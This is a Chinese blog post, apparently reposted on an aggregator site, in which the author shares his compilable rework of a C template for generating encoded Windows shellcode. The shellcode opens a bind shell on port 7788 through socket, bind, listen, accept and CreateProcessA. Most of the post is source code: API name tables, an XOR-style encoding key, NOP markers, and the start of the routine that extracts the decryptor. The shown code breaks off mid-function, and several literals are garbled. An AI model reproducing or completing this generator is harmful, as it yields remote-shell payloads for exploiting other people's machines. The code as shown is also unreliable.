admin 管理员组文章数量: 887006
改HUME的SHELLCODE模版程序
从小四哥的网站上搞下< 关于Windows下ShellCode编写的一点思考>中的代码,可能是由于系统版本不同或者是编译器版本不同吧,硬是有N个错误.搞了一下午才搞定.算起来,网上相似的好像有三个版本,一个是这个,一个是红盟的lion写的,还有一个是safechina的yellow写的通用shellcode深入剖析.相比较而言,lion写的字节最少,也最实用.好像也是参考网上这些资料写的吧.牛B就是牛B,
下面的是我改写好可以直接编译的版本,呵呵,hume大侠不要BIAN我啊...
编译平台: Vs8 + Windows2003 server
/*
使用C语言编写通用shellcode的程序
出处:internet
修改:Hume/冷雨飘心
测试:Win2K SP4 Local
*/
#include <windows.h>
#include <stdio.h>
#include <winioctl.h>
#define DEBUG 0
//
//函数原型
//
void DecryptSc();
void ShellCodes();
void PrintSc(char *lpBuff, int buffsize);
//
//用到的部分定义
//
#define BEGINSTRLEN 0x08 //开始字符串长度
#define ENDSTRLEN 0x08 //结束标记字符的长度
#define nop_CODE 0x90 //填充字符
#define nop_LEN 0x0 //ShellCode起始的填充长度
#define BUFFSIZE 0x20000 //输出缓冲区大小
#define sc_PORT 7788 //绑定端口号 0x1e 6c
#define sc_BUFFSIZE 0x2000 //ShellCode缓冲区大小
#define Enc_key 0x 7A //编码密钥
#define MAX_Enc_Len 0x400 //加密代码的最大长度 1024足够?
#define MAX_Sc_Len 0x2000 //hellCode的最大长度 8192足够?
#define MAX_api_strlen 0x400 //APIstr字符串的长度
#define API_endstr "strend"//API结尾标记字符串
#define API_endstrlen 0x06 //标记字符串长度
#define PROC_BEGIN __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90/
__asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90 __asm _emit 0x90
#define PROC_END PROC_BEGIN
//---------------------------------------------------
enum{ //Kernel32
_CreatePipe,
_CreateProcessA,
_CloseHandle,
_PeekNamedPipe,
_ReadFile,
_WriteFile,
_ExitProcess,
//WS2_32
_socket,
_bind,
_listen,
_accept,
_send,
_recv,
_ioctlsocket,
_closesocket,
//本机测试User32
_MessageBeep,
_MessageBoxA,
API_num
};
//
//代码这里开始
//
int main(int argc, char **argv)
{
//shellcode中要用到的字符串
static char ApiStr[]="/x1e/x 6c " //端口地址
//Kernel32的API函数名称
"CreatePipe""/x0"
"CreateProcessA""/x0"
"CloseHandle""/x0"
"PeekNamedPipe""/x0"
"ReadFile""/x0"
"WriteFile""/x0"
"ExitProcess""/x0"
//其它API中用到的API
"wsock32.dll""/x0"
"socket""/x0"
"bind""/x0"
"listen""/x0"
"accept""/x0"
"send""/x0"
"recv""/x0"
"ioctlsocket""/x0"
"closesocket""/x0"
//本机测试
"user32.dll""/x0"
"MessageBeep""/x0"
"MessageBoxA""/x0"
"/x0/x0/x0/x0/x0"
"strend";
char *fnbgn_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90"; //标记开始的字符串
char *fnend_str="/x90/x90/x90/x90/x90/x90/x90/x90/x90"; //标记结束的字符串
char buff[BUFFSIZE]; //缓冲区
char sc_buff[sc_BUFFSIZE]; //ShellCodes缓冲
char *pDcrypt_addr,
*pSc_addr;
int buff_len; //缓冲长度
int EncCode_len; //加密编码代码长度
int Sc_len; //原始ShellCode的长度
int i,k;
unsigned char ch;
//
//获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串
//获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这
//部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理
//
pDcrypt_addr=(char *)DecryptSc;
//定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,
//从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试
ch=*pDcrypt_addr;
if (ch==0xe9)
{
pDcrypt_addr++;
i=*(int *)pDcrypt_addr;
pDcrypt_addr+=(i+4); //此时指向函数的实际地址
本文标签: 改HUME的SHELLCODE模版程序
版权声明:本文标题:改HUME的SHELLCODE模版程序 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/jishu/1732352159h1533396.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论